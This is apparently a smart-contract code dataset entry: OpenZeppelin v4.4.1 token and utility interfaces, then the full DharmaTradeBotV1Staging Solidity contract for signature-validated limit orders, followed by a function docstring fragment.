Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol) pragma solidity ^0.8.0; import "../IERC1155.sol"; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
See {IERC165-supportsInterface}./
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); }
11,453
pragma solidity 0.6.12; // optimization runs: 200, evm version: istanbul pragma experimental ABIEncoderV2; interface DharmaTradeBotV1Interface { event LimitOrderProcessed( address indexed account, address indexed suppliedAsset, // Ether = address(0) address indexed receivedAsset, // Ether = address(0) uint256 suppliedAmount, uint256 receivedAmount, bytes32 orderID ); event LimitOrderCancelled(bytes32 orderID); event RoleModified(Role indexed role, address account); event RolePaused(Role indexed role); event RoleUnpaused(Role indexed role); enum Role { BOT_COMMANDER, CANCELLER, PAUSER } struct RoleStatus { address account; bool paused; } struct LimitOrderArguments { address account; address assetToSupply; // Ether = address(0) address assetToReceive; // Ether = address(0) uint256 maximumAmountToSupply; uint256 maximumPriceToAccept; // represented as a mantissa (n * 10^18) uint256 expiration; bytes32 salt; } struct LimitOrderExecutionArguments { uint256 amountToSupply; // will be lower than maximum for partial fills bytes signatures; address tradeTarget; bytes tradeData; } function processLimitOrder( LimitOrderArguments calldata args, LimitOrderExecutionArguments calldata executionArgs ) external returns (uint256 amountReceived); function cancelLimitOrder(LimitOrderArguments calldata args) external; function setRole(Role role, address account) external; function removeRole(Role role) external; function pause(Role role) external; function unpause(Role role) external; function isPaused(Role role) external view returns (bool paused); function isRole(Role role) external view returns (bool hasRole); function getOrderID( LimitOrderArguments calldata args ) external view returns (bytes32 orderID, bool valid); function getBotCommander() external view returns (address botCommander); function getCanceller() external view returns (address canceller); function getPauser() external view returns (address pauser); } interface SupportingContractInterface { function setApproval(address token, uint256 amount) external; } interface ERC1271Interface { function isValidSignature( bytes calldata data, bytes calldata signatures ) external view returns (bytes4 magicValue); } interface ERC20Interface { function transfer(address, uint256) external returns (bool); function transferFrom(address, address, uint256) external returns (bool); function approve(address, uint256) external returns (bool); function balanceOf(address) external view returns (uint256); function allowance(address, address) external view returns (uint256); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } } /** * @notice Contract module which provides a basic access control mechanism, * where there is an account (an owner) that can be granted exclusive access * to specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be aplied to your functions to restrict their use to * the owner. * * In order to transfer ownership, a recipient must be specified, at which point * the specified recipient can call `acceptOwnership` and take ownership. */ contract TwoStepOwnable { event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); address private _owner; address private _newPotentialOwner; /** * @notice Initialize contract with transaction submitter as initial owner. */ constructor() internal { _owner = tx.origin; emit OwnershipTransferred(address(0), _owner); } /** * @notice Allows a new account (`newOwner`) to accept ownership. * Can only be called by the current owner. */ function transferOwnership(address newOwner) external onlyOwner { require( newOwner != address(0), "TwoStepOwnable: new potential owner is the zero address." ); _newPotentialOwner = newOwner; } /** * @notice Cancel a transfer of ownership to a new account. * Can only be called by the current owner. */ function cancelOwnershipTransfer() external onlyOwner { delete _newPotentialOwner; } /** * @notice Transfers ownership of the contract to the caller. * Can only be called by a new potential owner set by the current owner. */ function acceptOwnership() external { require( msg.sender == _newPotentialOwner, "TwoStepOwnable: current owner must set caller as new potential owner." ); delete _newPotentialOwner; emit OwnershipTransferred(_owner, msg.sender); _owner = msg.sender; } /** * @notice Returns the address of the current owner. */ function owner() external view returns (address) { return _owner; } /** * @notice Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @notice Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "TwoStepOwnable: caller is not the owner."); _; } } /** * @title DharmaTradeBotV1Staging * @author 0age * @notice DharmaTradeBot is a contract for performing meta-transaction-enabled * limit orders against external automated money markets or other sources of * on-chain liquidity. Eth-to-Token trades require that `triggerEtherTransfer` * is implemented on the account making the trade, and all trades require * that the account implements `isValidSignature` as specified by ERC-1271, * as well as a `setApproval` function, in order to enable meta-transactions. * For Eth-to-token trades, the Eth amount is forwarded as part of the trade. */ contract DharmaTradeBotV1Staging is DharmaTradeBotV1Interface, TwoStepOwnable { using SafeMath for uint256; // Maintain a role status mapping with assigned accounts and paused states. mapping(uint256 => RoleStatus) private _roles; // Maintain a mapping of invalid meta-transaction order IDs. mapping (bytes32 => bool) private _invalidMetaTxHashes; ERC20Interface private constant _ETHERIZER = ERC20Interface( 0x723B51b72Ae89A3d0c2a2760f0458307a1Baa191 ); bool public constant staging = true; receive() external payable {} /** * @notice Only callable by the bot commander or the owner. Enforces the * expiration (or skips if it is set to zero) and trade size, validates * the execution signatures using ERC-1271 against the account, sets * approval to transfer the supplied token on behalf of that account, * pulls in the necessary supplied tokens, sets an allowance for the * provided trade target, calls the trade target with supplied data, * ensures that the call was successful, calculates the required amount * that must be received back based on the supplied amount and price, * ensures that at least that amount was returned, sends it to the * account, and emits an event. Use the null address to signify that * the supplied or retained asset is Ether. * @return amountReceived The amount received back from the trade. */ function processLimitOrder( LimitOrderArguments calldata args, LimitOrderExecutionArguments calldata executionArgs ) external override onlyOwnerOr(Role.BOT_COMMANDER) returns ( uint256 amountReceived ) { _enforceExpiration(args.expiration); require( executionArgs.amountToSupply <= args.maximumAmountToSupply, "Cannot supply more than the maximum authorized amount." ); require( args.assetToSupply != args.assetToReceive, "Asset to supply and asset to receive cannot be identical." ); if (executionArgs.tradeData.length >= 4) { require( abi.decode( abi.encodePacked(executionArgs.tradeData[:4], bytes28(0)), (bytes4) ) != SupportingContractInterface.setApproval.selector, "Trade data has a prohibited function selector." ); } // Construct order's "context" and use it to validate meta-transaction. bytes memory context = _constructLimitOrderContext(args); bytes32 orderID = _validateMetaTransaction( args.account, context, executionArgs.signatures ); // Determine asset supplied (use Etherizer for Ether) and ether value. ERC20Interface assetToSupply; uint256 etherValue; if (args.assetToSupply == address(0)) { assetToSupply = _ETHERIZER; etherValue = executionArgs.amountToSupply; } else { assetToSupply = ERC20Interface(args.assetToSupply); etherValue = 0; // Ensure that target has allowance to transfer tokens. _grantApprovalIfNecessary( assetToSupply, executionArgs.tradeTarget, executionArgs.amountToSupply ); } // Call `setApproval` on the supplying account. SupportingContractInterface(args.account).setApproval( address(assetToSupply), executionArgs.amountToSupply ); // Make the transfer in. _transferInToken( assetToSupply, args.account, executionArgs.amountToSupply ); // Call into target, supplying data and value, and revert on failure. _performCallToTradeTarget( executionArgs.tradeTarget, executionArgs.tradeData, etherValue ); // Determine amount expected back using supplied amount and price. uint256 amountExpected = ( executionArgs.amountToSupply.mul(1e18) ).div( args.maximumPriceToAccept ); if (args.assetToReceive == address(0)) { // Determine ether balance held by this contract. amountReceived = address(this).balance; // Ensure that enough Ether was received. require( amountReceived >= amountExpected, "Trade did not result in the expected amount of Ether." ); // Transfer the Ether out and revert on failure. _transferEther(args.account, amountReceived); } else { ERC20Interface assetToReceive = ERC20Interface(args.assetToReceive); // Determine balance of received tokens held by this contract. amountReceived = assetToReceive.balanceOf(address(this)); // Ensure that enough tokens were received. require( amountReceived >= amountExpected, "Trade did not result in the expected amount of tokens." ); // Transfer the tokens and revert on failure. _transferOutToken(assetToReceive, args.account, amountReceived); } emit LimitOrderProcessed( args.account, args.assetToSupply, args.assetToReceive, executionArgs.amountToSupply, amountReceived, orderID ); } /** * @notice Cancels a potential limit order. Only the owner, the account * in question, or the canceller role may call this function. */ function cancelLimitOrder( LimitOrderArguments calldata args ) external override onlyOwnerOrAccountOr(Role.CANCELLER, args.account) { _enforceExpiration(args.expiration); // Construct the order ID using relevant "context" of the limit order. bytes32 orderID = keccak256(_constructLimitOrderContext(args)); // Ensure the order ID has not been used or cancelled and invalidate it. require( !_invalidMetaTxHashes[orderID], "Meta-transaction already invalid." ); _invalidMetaTxHashes[orderID] = true; emit LimitOrderCancelled(orderID); } /** * @notice Pause a currently unpaused role and emit a `RolePaused` event. Only * the owner or the designated pauser may call this function. Also, bear in * mind that only the owner may unpause a role once paused. * @param role The role to pause. */ function pause(Role role) external override onlyOwnerOr(Role.PAUSER) { RoleStatus storage storedRoleStatus = _roles[uint256(role)]; require(!storedRoleStatus.paused, "Role in question is already paused."); storedRoleStatus.paused = true; emit RolePaused(role); } /** * @notice Unpause a currently paused role and emit a `RoleUnpaused` event. * Only the owner may call this function. * @param role The role to pause. */ function unpause(Role role) external override onlyOwner { RoleStatus storage storedRoleStatus = _roles[uint256(role)]; require(storedRoleStatus.paused, "Role in question is already unpaused."); storedRoleStatus.paused = false; emit RoleUnpaused(role); } /** * @notice Set a new account on a given role and emit a `RoleModified` event * if the role holder has changed. Only the owner may call this function. * @param role The role that the account will be set for. * @param account The account to set as the designated role bearer. */ function setRole(Role role, address account) external override onlyOwner { require(account != address(0), "Must supply an account."); _setRole(role, account); } /** * @notice Remove any current role bearer for a given role and emit a * `RoleModified` event if a role holder was previously set. Only the owner * may call this function. * @param role The role that the account will be removed from. */ function removeRole(Role role) external override onlyOwner { _setRole(role, address(0)); } /** * @notice View function to determine an order's meta-transaction message hash * and to determine if it is still valid (i.e. it has not yet been used and is * not expired). The returned order ID will need to be prefixed using EIP-191 * 0x45 and hashed again in order to generate a final digest for the required * signature - in other words, the same procedure utilized by `eth_Sign`. * @return orderID The ID corresponding to the limit order's meta-transaction. */ function getOrderID( LimitOrderArguments calldata args ) external view override returns (bytes32 orderID, bool valid) { // Construct the order ID based on relevant context. orderID = keccak256(_constructLimitOrderContext(args)); // The meta-transaction is valid if it has not been used and is not expired. valid = ( !_invalidMetaTxHashes[orderID] && ( args.expiration == 0 || block.timestamp <= args.expiration ) ); } /** * @notice External view function to check whether or not the functionality * associated with a given role is currently paused or not. The owner or the * pauser may pause any given role (including the pauser itself), but only the * owner may unpause functionality. Additionally, the owner may call paused * functions directly. * @param role The role to check the pause status on. * @return paused A boolean to indicate if the functionality associated with * the role in question is currently paused. */ function isPaused(Role role) external view override returns (bool paused) { paused = _isPaused(role); } /** * @notice External view function to check whether the caller is the current * role holder. * @param role The role to check for. * @return hasRole A boolean indicating if the caller has the specified role. */ function isRole(Role role) external view override returns (bool hasRole) { hasRole = _isRole(role); } /** * @notice External view function to check the account currently holding the * bot commander role. The bot commander can execute limit orders. * @return botCommander The address of the current bot commander, or the null * address if none is set. */ function getBotCommander() external view override returns ( address botCommander ) { botCommander = _roles[uint256(Role.BOT_COMMANDER)].account; } /** * @notice External view function to check the account currently holding the * canceller role. The canceller can cancel limit orders. * @return canceller The address of the current canceller, or the null * address if none is set. */ function getCanceller() external view override returns ( address canceller ) { canceller = _roles[uint256(Role.CANCELLER)].account; } /** * @notice External view function to check the account currently holding the * pauser role. The pauser can pause any role from taking its standard action, * though the owner will still be able to call the associated function in the * interim and is the only entity able to unpause the given role once paused. * @return pauser The address of the current pauser, or the null address if * none is set. */ function getPauser() external view override returns (address pauser) { pauser = _roles[uint256(Role.PAUSER)].account; } /** * @notice Private function to enforce that a given meta-transaction * has not been used before and that the signature is valid according * to the account in question (using ERC-1271). * @param account address The account originating the meta-transaction. * @param context bytes Information about the meta-transaction. * @param signatures bytes Signature or signatures used to validate * the meta-transaction. */ function _validateMetaTransaction( address account, bytes memory context, bytes memory signatures ) private returns (bytes32 orderID) { // Construct the order ID using the provided context. orderID = keccak256(context); // Ensure ID has not been used or cancelled and invalidate it. require( !_invalidMetaTxHashes[orderID], "Order is no longer valid." ); _invalidMetaTxHashes[orderID] = true; // Construct the digest to compare signatures against using EIP-191 0x45. bytes32 digest = keccak256( abi.encodePacked("\x19Ethereum Signed Message:\n32", orderID) ); // Validate via ERC-1271 against the specified account. bytes memory data = abi.encode(digest, context); bytes4 magic = ERC1271Interface(account).isValidSignature(data, signatures); require(magic == bytes4(0x20c13b0b), "Invalid signatures."); } /** * @notice Private function to set a new account on a given role and emit a * `RoleModified` event if the role holder has changed. * @param role The role that the account will be set for. * @param account The account to set as the designated role bearer. */ function _setRole(Role role, address account) private { RoleStatus storage storedRoleStatus = _roles[uint256(role)]; if (account != storedRoleStatus.account) { storedRoleStatus.account = account; emit RoleModified(role, account); } } /** * @notice Private function to perform a call to a given trade target, supplying * given data and value, and revert with reason on failure. */ function _performCallToTradeTarget( address target, bytes memory data, uint256 etherValue ) private { // Call into the provided target, supplying provided data. (bool tradeTargetCallSuccess,) = target.call{value: etherValue}(data); // Revert with reason if the call was not successful. if (!tradeTargetCallSuccess) { assembly { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } } else { // Ensure that the target is a contract. uint256 returnSize; assembly { returnSize := returndatasize() } if (returnSize == 0) { uint256 size; assembly { size := extcodesize(target) } require(size > 0, "Specified target does not have contract code."); } } } /** * @notice Private function to set approval for a given target to transfer tokens * on behalf of this contract. It should generally be assumed that this contract * is highly permissive when it comes to approvals. */ function _grantApprovalIfNecessary( ERC20Interface token, address target, uint256 amount ) private { if (token.allowance(address(this), target) < amount) { // Try removing approval first as a workaround for unusual tokens. (bool success, bytes memory returnData) = address(token).call( abi.encodeWithSelector( token.approve.selector, target, uint256(0) ) ); // Grant approval to transfer tokens on behalf of this contract. (success, returnData) = address(token).call( abi.encodeWithSelector( token.approve.selector, target, type(uint256).max ) ); if (!success) { // Some really janky tokens only allow setting approval up to current balance. (success, returnData) = address(token).call( abi.encodeWithSelector( token.approve.selector, target, amount ) ); } require( success && (returnData.length == 0 || abi.decode(returnData, (bool))), "Token approval to trade against the target failed." ); } } /** * @notice Private function to transfer tokens out of this contract. */ function _transferOutToken(ERC20Interface token, address to, uint256 amount) private { (bool success, bytes memory returnData) = address(token).call( abi.encodeWithSelector(token.transfer.selector, to, amount) ); if (!success) { assembly { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } } if (returnData.length == 0) { uint256 size; assembly { size := extcodesize(token) } require(size > 0, "Token specified to transfer out does not have contract code."); } else { require(abi.decode(returnData, (bool)), 'Token transfer out failed.'); } } /** * @notice Private function to transfer Ether out of this contract. */ function _transferEther(address recipient, uint256 etherAmount) private { // Send Ether to recipient and revert with reason on failure. (bool ok, ) = recipient.call{value: etherAmount}(""); if (!ok) { assembly { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } } } /** * @notice Private function to transfer tokens into this contract. */ function _transferInToken(ERC20Interface token, address from, uint256 amount) private { (bool success, bytes memory returnData) = address(token).call( abi.encodeWithSelector(token.transferFrom.selector, from, address(this), amount) ); if (!success) { assembly { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } } if (returnData.length == 0) { uint256 size; assembly { size := extcodesize(token) } require(size > 0, "Token specified to transfer in does not have contract code."); } else { require(abi.decode(returnData, (bool)), 'Token transfer in failed.'); } } /** * @notice Private view function to check whether the caller is the current * role holder. * @param role The role to check for. * @return hasRole A boolean indicating if the caller has the specified role. */ function _isRole(Role role) private view returns (bool hasRole) { hasRole = msg.sender == _roles[uint256(role)].account; } /** * @notice Private view function to check whether the given role is paused or * not. * @param role The role to check for. * @return paused A boolean indicating if the specified role is paused or not. */ function _isPaused(Role role) private view returns (bool paused) { paused = _roles[uint256(role)].paused; } /** * @notice Private view function to construct the "context" or details that * need to be included when generating the order ID. * @return context bytes The context. */ function _constructLimitOrderContext( LimitOrderArguments memory args ) private view returns (bytes memory context) { context = abi.encode( address(this), args.account, args.assetToSupply, args.assetToReceive, args.maximumAmountToSupply, args.maximumPriceToAccept, args.expiration, args.salt ); } /** * @notice Private view function to ensure that a given expiration has * not elapsed, or is set to zero (signifying no expiration). */ function _enforceExpiration(uint256 expiration) private view { require( expiration == 0 || block.timestamp <= expiration, "Order has expired." ); } /** * @notice Modifier that throws if called by any account other than the owner * or the supplied role, or if the caller is not the owner and the role in * question is paused. * @param role The role to require unless the caller is the owner. Permitted * roles are bot commander (0), and canceller (1), and pauser (2). */ modifier onlyOwnerOr(Role role) { if (!isOwner()) { require(_isRole(role), "Caller does not have a required role."); require(!_isPaused(role), "Role in question is currently paused."); } _; } /** * @notice Modifier that throws if called by any account other than the owner, * a specified account, or the supplied role, or if the caller is not the * owner or the specified account and the role in question is paused. * @param role The role to require unless the caller is the owner or the * specified account. Permitted roles are bot commander (0), and canceller (1), * and pauser (2). */ modifier onlyOwnerOrAccountOr(Role role, address account) { if (!isOwner() && !(msg.sender == account)) { require(_isRole(role), "Caller does not have a required role."); require(!_isPaused(role), "Role in question is currently paused."); } _; } }
Private function to enforce that a given meta-transaction has not been used before and that the signature is valid according to the account in question (using ERC-1271). account address The account originating the meta-transaction. context bytes Information about the meta-transaction. signatures bytes Signature or signatures used to validate the meta-transaction./ Construct the order ID using the provided context. Ensure ID has not been used or cancelled and invalidate it. Construct the digest to compare signatures against using EIP-191 0x45. Validate via ERC-1271 against the specified account.
